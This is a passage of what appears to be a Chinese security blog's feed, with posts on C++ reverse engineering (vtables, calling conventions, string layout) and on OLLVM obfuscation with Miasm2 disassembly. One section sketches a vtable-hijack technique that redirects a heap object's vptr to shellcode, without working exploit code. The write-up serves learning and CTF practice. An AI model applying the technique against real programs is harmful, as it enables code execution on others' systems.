<span class="title">eating</span><span class="params">(string food)</span></span>&#123;</span><br><span class="line">        cout&lt;&lt;<span class="string">&quot;the &quot;</span>&lt;&lt;food&lt;&lt;<span class="string">&quot;test well....&quot;</span>&lt;&lt;endl;</span><br><span class="line">    &#125;;</span><br><span class="line"><span class="keyword">protected</span>:</span><br><span class="line">    string name;</span><br><span class="line">    </span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Dog</span> :<span class="keyword">public</span> Animal&#123;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line">    <span class="function"><span class="type">void</span> <span class="title">eating</span><span class="params">(string food)</span></span>&#123;</span><br><span class="line">        cout&lt;&lt;<span class="string">&quot;Bow, Bow!&quot;</span>&lt;&lt;endl;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Cat</span> :<span class="keyword">public</span> Animal&#123;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line">    <span class="function"><span class="type">void</span> <span class="title">eating</span><span class="params">(string food)</span></span>&#123;</span><br><span class="line">        cout&lt;&lt;<span class="string">&quot;Miao~&quot;</span>&lt;&lt;endl;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Parrot</span> :<span class="keyword">public</span> Animal&#123;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line">    <span class="function"><span class="type">void</span> <span class="title">eating</span><span class="params">(string food)</span></span>&#123;</span><br><span class="line">        string talking;</span><br><span class="line">        cin&gt;&gt;talking;</span><br><span class="line">        cout&lt;&lt;<span class="string">&quot;I say&quot;</span>&lt;&lt;talking&lt;&lt;endl;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">void</span> <span class="title">GiveFood</span><span class="params">(Animal *a, string food)</span></span>&#123;</span><br><span class="line">    a-&gt;<span class="built_in">eating</span>(food);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span></span>&#123;</span><br><span class="line">    Dog *doggy = <span class="keyword">new</span> <span class="built_in">Dog</span>();</span><br><span class="line">    Cat *catty = <span class="keyword">new</span> <span class="built_in">Cat</span>();</span><br><span class="line">    Parrot *parrot = <span class="keyword">new</span> <span class="built_in">Parrot</span>();</span><br><span class="line">    <span class="built_in">GiveFood</span>(doggy, <span class="string">&quot;meat&quot;</span>);</span><br><span class="line">    <span class="built_in">GiveFood</span>(catty, <span class="string">&quot;fish&quot;</span>);</span><br><span class="line">    <span class="built_in">GiveFood</span>(parrot, <span class="string">&quot;bug&quot;</span>);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>运行结果为:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">learnC++$ ./learnCpp_Poly.bin</span><br><span class="line">Bow, Bow!</span><br><span class="line">Miao~</span><br><span class="line">Emm..</span><br><span class="line">I sayEmm..</span><br></pre></td></tr></table></figure><p>但是，如果我们不使用virtual关键字说明的话，此时得到的结果就是完全不一样的内容:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">learnC++$ ./learnCpp_Poly.bin</span><br><span class="line">the meattest well....</span><br><span class="line">the fishtest well....</span><br><span class="line">the bugtest well....</span><br></pre></td></tr></table></figure><p>可以看到，这个时候调用的是Anima本身的eating函数，而不是相应的子类函数。</p><h4 id="为什么会导致这样的情况">为什么会导致这样的情况</h4><p>我们这次用一个比较段的程序来说明这个事情</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Person</span></span><br><span class="line">&#123;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line">    <span class="built_in">Person</span>()&#123;</span><br><span class="line">        age = <span class="number">0</span>;</span><br><span class="line">        name = <span class="string">&quot;&quot;</span>;</span><br><span class="line">    &#125;;</span><br><span class="line">    ~<span class="built_in">Person</span>()&#123;</span><br><span class="line"></span><br><span class="line">    &#125;;</span><br><span class="line">    <span class="function"><span class="type">void</span> <span class="title">setName</span><span class="params">(string name)</span></span>&#123;</span><br><span class="line">        cout&lt;&lt;<span class="string">&quot;this man call &quot;</span>&lt;&lt;name&lt;&lt;endl;</span><br><span class="line">    &#125;;</span><br><span class="line">    <span class="function"><span class="keyword">virtual</span> <span class="type">void</span> <span class="title">setAge</span><span class="params">(<span class="type">int</span> age)</span></span>&#123;</span><br><span class="line">        cout&lt;&lt;<span class="string">&quot;person age is &quot;</span>&lt;&lt;age&lt;&lt;endl;</span><br><span class="line">    &#125;;</span><br><span class="line"><span class="keyword">protected</span>:</span><br><span class="line">    <span class="type">int</span> age;</span><br><span class="line">    string name;</span><br><span class="line">    </span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Student</span> :<span class="keyword">public</span> Person&#123;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line">    <span class="built_in">Student</span>()&#123;</span><br><span class="line">        age = <span class="number">17</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="function"><span class="type">void</span> <span class="title">setName</span><span class="params">(string name)</span></span>&#123;</span><br><span class="line">        <span class="keyword">this</span>-&gt;name = name;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="function">string <span class="title">getName</span><span class="params">()</span></span>&#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">this</span>-&gt;name;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="function"><span class="type">void</span> <span class="title">setAge</span><span class="params">(<span class="type">int</span> age)</span></span>&#123;</span><br><span class="line">        <span class="keyword">if</span>(age&gt;<span class="number">30</span> || age &lt; <span class="number">6</span>)&#123;</span><br><span class="line">            cout&lt;&lt;<span class="string">&quot;not suitable for school!&quot;</span>&lt;&lt;endl;</span><br><span class="line">            <span class="keyword">return</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">this</span>-&gt;age = age;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="function"><span class="type">int</span> <span class="title">getAge</span><span class="params">()</span></span>&#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">this</span>-&gt;age;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>这个程序和我们最初的内容很像，但是区别在于，其中的setAge为虚函数，而setName不为虚函数。然后我们观察其二进制，可以发现一些有趣的现象:<br><img src="/2017/08/21/C-%E9%80%86%E5%90%91%E5%88%86%E6%9E%90/Cpp02.png" alt=""><br>C++为了能够支持重载，会将函数名字本身进行破坏后重组，所以这里函数的名字看起来怪怪的。这个数据段中放了在运行中的一些重要信息:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">.rodata:0000000000401220                 public _ZTV7Student ; weak</span><br><span class="line">.rodata:0000000000401220 ; `vtable for&#x27;Student</span><br><span class="line">.rodata:0000000000401220 _ZTV7Student    dq 0</span><br><span class="line">.rodata:0000000000401228                 dq offset _ZTI7Student  ; `typeinfo for&#x27;Student</span><br><span class="line">.rodata:0000000000401230 off_401230      dq offset _ZN7Student6setAgeEi</span><br><span class="line">.rodata:0000000000401230                                         ; DATA XREF: Student::Student(void)+1Co</span><br><span class="line">.rodata:0000000000401230                                         ; Student::setAge(int)</span><br></pre></td></tr></table></figure><p>这段内容其实放的是Student类本身的【虚表】，也就是这个类中的虚类的基本信息</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">+---------------------------------+</span><br><span class="line">|00401228   `typeinfo for Student | Student类本身的属性</span><br><span class="line">+---------------------------------+</span><br><span class="line">|00401230    Student6setAgeEi     | Student类的函数:setAge</span><br><span class="line">+---------------------------------+</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">.rodata:0000000000401270                 public _ZTI7Student ; weak</span><br><span class="line">.rodata:0000000000401270 ; `typeinfo for&#x27;Student</span><br><span class="line">.rodata:0000000000401270 _ZTI7Student    dq offset unk_602270    ; DATA XREF: .rodata:0000000000401228o</span><br><span class="line">.rodata:0000000000401278                 dq offset _ZTS7Student  ; &quot;7Student&quot;</span><br><span class="line">.rodata:0000000000401280                 dq offset _ZTI6Person   ; `typeinfo for&#x27;Person</span><br></pre></td></tr></table></figure><p>这一段则是介绍了Student这个类的基本属性。上面的typeinfo for Student所指向的地址就是这个里。这里记录了Student这个类的名字(_ZTS开头的表示的是字符串)以及其父类内容(ZTI表示的是对应的info)</p><p>观察了这么多，我们能够发现两个事情：</p><ul><li>Person和Student的setAge都被放在这个表格中，分别叫做_ZN6Person6setAgeEi和 _ZN7Student6setAgeEi</li><li>无论是Person还是Student的setName函数都不见了。</li></ul><p>这个现象蛮有趣的，我们观察一下main函数的基本内容:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">Student::setName(v10, &amp;v9);</span><br><span class="line">std::string::~string((std::string *)&amp;v9);</span><br><span class="line">std::allocator&lt;char&gt;::~allocator(&amp;v8);</span><br><span class="line">(**(void (__fastcall ***)(Student *, signed __int64))v10)(v10, 18LL);</span><br></pre></td></tr></table></figure><p>对比源码后不难发现，最后的这个函数指针就是函数setAge。也就是说，当调用setAge的时候，程序的逻辑其实上是:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Stu对象调用setAge --&gt; 找到其虚函数表 --&gt; 第一个内容为setAge --&gt; 调用对象的第一个函数表中内容。</span><br></pre></td></tr></table></figure><p>而在调用setName的时候，由于此时没有使用virtual关键字，导致此时setName被认为是父类和子类两个完全不同的函数，因此直接采用与普通的函数相同的处理方法，直接在.text中查找对应的函数。</p><h4 id="使用vtable的理由存在">使用VTable的理由存在</h4><p>为了实现【多态】，那么势必是要在【运行中才能确定对应调用的函数】。比如我们之前喂动物的例子，不运行起来，GiveFood永远不知道此时的Animal本身对应的对象是哪一个对象，因此就需要再运行的时候再对其进行绑定，为了实现这个<strong>运行时绑定</strong>的效果，使用虚表就变得方便了很多。</p><h4 id="虚类的特征-vtable中的函数">虚类的特征 – VTable中的函数</h4><p>之前我们虽然提到过虚类，但是没有给出过虚类对象在内存中<strong>存在的某个特征</strong>。在虚类中，本来要实现的函数的位置上<strong>会有一个叫做purecall的函数进行填充</strong>，结构如下:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">.rdata:<span class="number">00007F</span>F6F848A500 ??_7Character@@<span class="number">6B</span>@ dq offset _purecall  ; DATA XREF: sub_7FF6F8482A50:loc_7FF6F8482A91↑o</span><br><span class="line">.rdata:<span class="number">00007F</span>F6F848A500                                         ; sub_7FF6F8482B60+A↑o ...</span><br><span class="line">.rdata:<span class="number">00007F</span>F6F848A508 dq offset _purecall</span><br><span class="line">.rdata:<span class="number">00007F</span>F6F848A510 dq offset _purecall</span><br></pre></td></tr></table></figure><p>这里就相当于说，<strong>Character</strong>对象有三个要实现的虚函数，这里先用purecall进行提前的填充。</p><h3 id="how-to-pwn">How To Pwn</h3><p>知道了上述的说法，我们就有了第一种在C++下可以进行pwn的手段。<br>首先，我们知道，用new申请的对象，首先要进行【获得当前vptr的过程】</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">            +------------+</span><br><span class="line">obj_ptr --&gt; |    vptr    | -------+</span><br><span class="line">            +------------+        |      +---------+</span><br><span class="line">                                  +-----&gt;| func1   |</span><br><span class="line">                                         +---------+</span><br></pre></td></tr></table></figure><p>也就是说，如果我们此时调用func1的时候，实际的调用过程是:</p><pre><code>mov rax, QWORD PTR [rbp-0x18] ; 取出obj_ptrmov rax, QWORD PTR [rax]      ; 取出vptr的地址mov rax, QWORD PTR [rax]      ; 取出vptr中第一项，也就是func1的地址call rax                      ; 跳转到func1上</code></pre><p>此时obj_ptr指向的堆是这样的</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">+---------------+</span><br><span class="line">| vtable address|----+      vtable</span><br><span class="line">+---------------+    |      +------------+</span><br><span class="line">|    attrib     |    +-----&gt;|    func1   |</span><br><span class="line">+---------------+           +------------+</span><br></pre></td></tr></table></figure><p>那么，如果我们能够伪造一个vptr，然后将堆上的vptr addr改成我们指定的一个伪造的vptr，那么会变成:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">+---------------+</span><br><span class="line">| fake address  |----+</span><br><span class="line">+---------------+    |          fake table</span><br><span class="line">|    attrib     |    |          +-----------+            +-------------+</span><br><span class="line">+---------------+    +---------&gt;|&amp;shellcode |-----------&gt;|  shellcode  |</span><br><span class="line">                                +-----------+            +-------------+</span><br></pre></td></tr></table></figure><p>这样我们就能够实现pwn了！</p><h3 id="without-nx">without NX</h3><p>由于一般的堆都是在读入数据的时候申请的，因此此时我们直接将fake address填入堆地址，堆的地址可以通过各种方法泄露出来。这样的话我们同时能够得到多个可以利用的堆</p><h3 id="with-nx">with NX</h3><p>这种时候就只能考虑到使用一般的堆溢出攻击了。。。。</p><h3 id="关于传参的细节">关于传参的细节</h3><p>在windows系统下，使用vs进行代码编译之后，发现了一个特征：<br>在x86环境下，传参使用压栈的方式，越往右的参数越先压栈</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">func(pn....p3,p2,p1)</span><br><span class="line"></span><br><span class="line">+-------+   stack frame</span><br><span class="line">|  p1   |       </span><br><span class="line">+-------+       |</span><br><span class="line">|  p2   |       |</span><br><span class="line">+-------+       |</span><br><span class="line">|  p3   |       |</span><br><span class="line">+-------+       |</span><br><span class="line">   ...          |</span><br><span class="line">|  pn   |       V</span><br><span class="line">+-------+</span><br><span class="line">            stack point</span><br></pre></td></tr></table></figure><p>在x64环境下，传参的一部分在寄存器中进行传递，网上大部分查到的顺序是<code>rdi,rsi,rcx,rdx,r8,r9</code>，但是实际上，发现在windows下，使用vs编译后，传参的顺序变成了<code>rcx,rdx,r8,r9</code>：<br><img src="/2017/08/21/C-%E9%80%86%E5%90%91%E5%88%86%E6%9E%90/Cpp03.png" alt=""></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">func(rcx,rdx,r8,r9,...)</span><br></pre></td></tr></table></figure><h3 id="关于常见的string类型">关于常见的string类型</h3><p>C++中的string类型使用的倒是很平常，但是其反汇编一般不好认。。。这里记录一下对string的第一感觉:<br>string类型再执行的时候，结构体本身如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">00000000 String          struc ; (sizeof=0x10, mappedto_54)</span><br><span class="line">00000000 ptr             dd ?</span><br><span class="line">00000004 size_           dd ?</span><br><span class="line">00000008 all_size        dd ?</span><br><span class="line">0000000C is_large        dd ?</span><br><span class="line">00000010 String          ends</span><br></pre></td></tr></table></figure><p>简单介绍一下:</p><ul><li>ptr: 指向string分配空间的指针</li><li>size_: 当前string中字符总大小</li><li>all_size: 当前分配的字节是否达到了某个大小（待修正）</li><li>is_large: 当前使用的字节空间超过了某个限度，此时需要重新分配空间</li></ul><h4 id="运行过程">运行过程</h4><p>ptr指向字符串的指针，然后这个指向的位置为一开始申请的大小，如果我们不断的insert新的数据的时候，系统会将当前ptr指向的堆块的前四个字节变成指针，然后这四个指针指向的位置为新申请的空间。如:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">string a = &quot;123&quot;;</span><br></pre></td></tr></table></figure><p>此时空间结构如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">ptr ------&gt; +------------+</span><br><span class="line">            |    123     |</span><br><span class="line">            +------------+</span><br></pre></td></tr></table></figure><p>如果此时我们插入了过多的字符串的话，其中的is_large参数就会被修改为1，此时如果还要发生insert等过程的话，ptr所指向的位置的前4个字节就会被置为下一处分配的地址，并且原先的数据也会移动过去</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">ptr -------&gt; +----------------+         +------------------+</span><br><span class="line">             | ptr  |         |         |   123            |</span><br><span class="line">             +----------------+         +------------------+</span><br><span class="line">                |                       |</span><br><span class="line">                +-----------------------+</span><br></pre></td></tr></table></figure><p>总觉得这里有可以发生pwn的位置。。下次试试把</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;最近遇到了一个C++的pwn题，所以在这里对C++的程序进行深入学习一下:&lt;/p&gt;
&lt;h2 id=&quot;more-c-逆向分析学习&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="Reverse" scheme="https://showlinkroom.me/categories/Reverse/"/>
    
    
    <category term="reverse" scheme="https://showlinkroom.me/tags/reverse/"/>
    
    <category term="C++" scheme="https://showlinkroom.me/tags/C/"/>
    
  </entry>
  
  <entry>
    <title>reverse with obfuscation</title>
    <link href="https://showlinkroom.me/2017/08/14/reverse-with-obfuscation/"/>
    <id>https://showlinkroom.me/2017/08/14/reverse-with-obfuscation/</id>
    <published>2017-08-14T14:07:52.000Z</published>
    <updated>2020-07-16T13:31:30.410Z</updated>
    
    <content type="html"><![CDATA[<p>不知道从什么时候开始，突然开始深入研究reverse去了。。。这里记录一种reverse常见的问题以及相关框架的使用方法:</p><h2 id="more-reverse-with-obfuscation"><span id="more"></span><br>reverse with obfuscation</h2><h2 id="什么是-obfuscation">什么是 obfuscation</h2><p><strong>obfuscation</strong>,也就是<strong>混淆</strong>，其意义就在于将代码段的逻辑变得晦涩难懂，使人再静态甚至动态调试的时候无法了解程序本身的意图，从而增加逆向分析的难度。</p><h2 id="ollvm">ollvm</h2><p>ollvm 是一个基于llvm的项目。llvm是一个非常有趣的编译器，人们可以通过研究其，对代码的编译本身以及其发展应用产生巨大的帮助。这个ollvm也是利用这个编译器产生的对代码混淆的项目。ollvm会在编译期间，将代码翻译成复杂（而不是想正常的编译器对其进行优化）的汇编，从而让程序流变得异常复杂，以至于不能分析。</p><h3 id="混淆的方式">混淆的方式</h3><p>ollvm提供了多种混淆方式。这里我们介绍三种常见的混淆方法</p><h4 id="替代-instructions-substitution">替代（Instructions Substitution）</h4><p>这种方式即使将我们普通运算中的运算替换成复杂的运算符。这种处理方法其实很容易被破解，但是由于有些运算会引入随机数，让取出这个混淆代码变得也不是那么容易。<br>比如说，<code>a - b ==&gt; r = rand (); a = b + r; a = a - c; a = a - r</code></p><p>使用方法:</p><ul><li><code>-mllvm -sub</code>: 使用替代的混淆方法</li><li><code>-mllvm -sub_loop=3</code>: 反复使用替代的方法3次</li></ul><h4 id="程序流扁平化-control-flow-flattening">程序流扁平化（Control Flow Flattening）</h4><p>什么叫做程序流扁平化？就是说，一般的程序中会有很多的条件判断（if，for，while等）。这些逻辑的出现，让整个程序可读性上升了很多。而扁平化处理后的程序，将这些条件判断去掉，每一个分支条件块放入一个等价的块中，比如说C语言的switch，并且整个流程放入一整个循环中。此时就会变得难以查看这个程序的逻辑。这个<strong>将整个由上至下的程序放在同一个平面上的</strong>处理就叫做<strong>扁平化</strong><br><img src="/2017/08/14/reverse-with-obfuscation/ob00.png" alt=""><br>如上就是一个经典的扁平化处理</p><p>使用方法:</p><ul><li><code>-mllvm -fla</code>: 开启程序流扁平化处理</li><li><code>-mllvm -split</code>: 开启程序基本块切割. 如果在使用扁平化的同时使用这个声明，那么扁平化的效果就会更好</li><li><code>-mllvm -split_num=3</code>: 这个会将程序基本块进行三次切割。</li></ul><h4 id="控制流伪造-bogus-control-flow">控制流伪造（Bogus Control Flow）</h4><p>这个伪造控制流的方式，是通过在正确的程序块前加入一些虚假的程序块（opaque predicate），但是其并不影响程序整个的进程。就好像之前出题的时候使用过的花指令一样。虽然我们有jz和jnz两个跳转方式，但是实际上到达这个位置的时候，只会触发jz的内容，从而增加逆向的难度。</p><p>使用方法:</p><ul><li>-mllvm -bcf: 使用控制流伪造</li><li>-mllvm -bcf_loop=3: 如果使用了控制流伪造的话，那么将这个功能使用三次</li><li>-mllvm -bcf_prob=40: 如果开启了控制流伪造的话，那么有40%的可能进行混淆</li></ul><h3 id="混淆方式总结">混淆方式总结</h3><p>对于任意的一种混淆的方法，必定是有几个共同的内容<br><img src="/2017/08/14/reverse-with-obfuscation/ob01.png" alt=""><br>如果使用的是替代的方法，那么我们初始化的内容中初始化混淆过的内容在虚假的程序流程中往往是不参与关键数据的赋值，又或者是先+后-这样进行的处理。<br>而如果使用的是扁平化呢，则可能会出现一个循环里面包括着switch，然后利用一个数组对其进行程序块选择。</p><h2 id="miasm2-逆向框架">Miasm2 – 逆向框架</h2><p>Miasm2是目前正在学习的一种逆向框架。这个框架能够将程序段以类似IDA的程序块的形式显示出来，并且在分析被混淆的代码段的时候，我们可以利用这个框架将混淆后的代码去除，从而理顺程序整体逻辑。</p><p>（目前正在瞎研究。。。所以只知道了部分功能）</p><h3 id="sandbox">Sandbox</h3><p>Miasm2 支持使用一个沙盒环境进行程序模拟运行。支持pe和elf，以及arm，mips指令集下的文件执行<br>一个简单的模拟运行的例子</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> os </span><br><span class="line"><span class="keyword">from</span> miasm2.analysis.sandbox <span class="keyword">import</span> Sandbox_Linux_x86_64</span><br><span class="line"></span><br><span class="line"><span class="comment"># Parser arguments</span></span><br><span class="line">parser = Sandbox_Linux_x86_64.parser(description=<span class="string">&quot;ELF sandboxer&quot;</span>)</span><br><span class="line">parser.add_argument(<span class="string">&quot;filename&quot;</span>, <span class="built_in">help</span>=<span class="string">&quot;ELF Filename&quot;</span>)</span><br><span class="line">options = parser.parse_args()</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span> <span class="string">&quot;options is &#123;&#125;&quot;</span>.<span class="built_in">format</span>(options)</span><br><span class="line"></span><br><span class="line"><span class="comment"># Create sandbox</span></span><br><span class="line">sb = Sandbox_Linux_x86_64(options.filename, options, <span class="built_in">globals</span>())</span><br><span class="line"></span><br><span class="line">sb.run()</span><br></pre></td></tr></table></figure><p>上述为64bit linux环境下进行的环境模拟。使用对应环境下的<strong>parser</strong>对象处理当前的参数，然后在创建沙盒的时候，将当前的参数以及环境变量传入，从而创建一个完整的沙盒换进。</p><h3 id="disassemble-with-graph">Disassemble with Graph</h3><p>这个模块的功能为将【当前的程序进行静态反编译，然后以图画或者别的形式暂时出来以方便更好的分析】。这个功能的例子如下：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Container is the wrapper for ELF, PE.....</span></span><br><span class="line"><span class="keyword">from</span> miasm2.analysis.binary <span class="keyword">import</span> Container</span><br><span class="line"><span class="comment"># Machine is the wrapper for managing multiple architecture</span></span><br><span class="line"><span class="keyword">from</span> miasm2.analysis.machine <span class="keyword">import</span> Machine                                                                                                                                    </span><br><span class="line"><span class="comment"># read a binary file </span></span><br><span class="line">cont = Container.from_stream(<span class="built_in">open</span>(<span class="string">&quot;Reverse2&quot;</span>))</span><br><span class="line"><span class="comment"># bin stream is a view on the mapped binary</span></span><br><span class="line">bin_stream = cont.bin_stream</span><br><span class="line"></span><br><span class="line"><span class="comment"># &#x27;cont.arch&#x27; is &quot;x86_64&quot;, extracted from the ELF header</span></span><br><span class="line">machine = Machine(cont.arch)</span><br><span class="line"><span class="comment"># Disassembly engine associated with the current binary</span></span><br><span class="line">main_dis = machine.dis_engine(bin_stream)</span><br><span class="line"><span class="comment"># Disassembly the main function</span></span><br><span class="line">blocks = main_dis.dis_multiblock(<span class="number">0x4005B6</span>)</span><br></pre></td></tr></table></figure><p>Container：<br>用来存放可执行文件，里面能够将可执行文件转换成bin_stream等形式，并且存放了当前文件的种类</p><p>Machine:<br>用来模拟各类运行平台，利用machine可以指定我们的运行文件所处在的机器平台。当前的</p><p>method：<br>|— dis_engine(bin_stream): 将指定的文件流反编译成block（miasm里面的一种存放反编译文件的格式），得到的返回值是AsmCFG</p><p>AsmCFG：<br>存放了反编译的内容，以及程序流的整体关系。</p><p>method：<br>|— dis_multiblock(address):从address开始的反汇编内容所形成的blocks的状态（调用这个函数的时候才会进行反汇编）</p><h3 id="dissasemble-only">Dissasemble only</h3><p>由于加入blocks的处理有很多额外操作，这里有时会再处理的过程中使流程变慢，于是我直接去翻找了源代码，然后找到了这个:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> miasm2.arch.x86.arch <span class="keyword">import</span> mn_x86 </span><br><span class="line">...</span><br><span class="line">instr = mn_x86.dis(bin_stream, attrib, offset)</span><br></pre></td></tr></table></figure><p>这个mn_x86就是相当于是一个loader和指令执行器，其中实现了x86的指令以及其解读方式。所以我们这里直接使用这个mn_x86进行内容的解读，dis函数的参数为:</p><ul><li>bin_stream – 需要反汇编的内容</li><li>attrib – int整数，表示当前是16，32还是64bit的bin_stream</li><li>offset – 从当前偏移量开始进行反汇编</li></ul><p>如果当前偏移量上没有可以进行计算的反汇编的话，那么此时会往之前寻找，直到找到合适的指令并且将其反汇编。</p><p>返回值instr为一个代表了当前指令的类，里面常用属性有;</p><ul><li>l – 当前指令的长度</li><li>name – 当前operation操作的str（例如MOV，ADD）</li><li>args – tuple，内部为Expr*类型，表示当前的源操作数和目的操作数。其中的__str__方法均重载过，利用这点可以做出很多花操作。</li></ul><p>直接使用mn_x86这个模拟机而不是封装后的Machine在处理ollvm中的多次<strong>替换处理</strong>程序有奇效。</p><p>参考内容:<br><a href="http://ac.inf.elte.hu/Vol_030_2009/003.pdf">Obfuscating C++ programs via control flow flattening</a></p>]]></content>
    
    
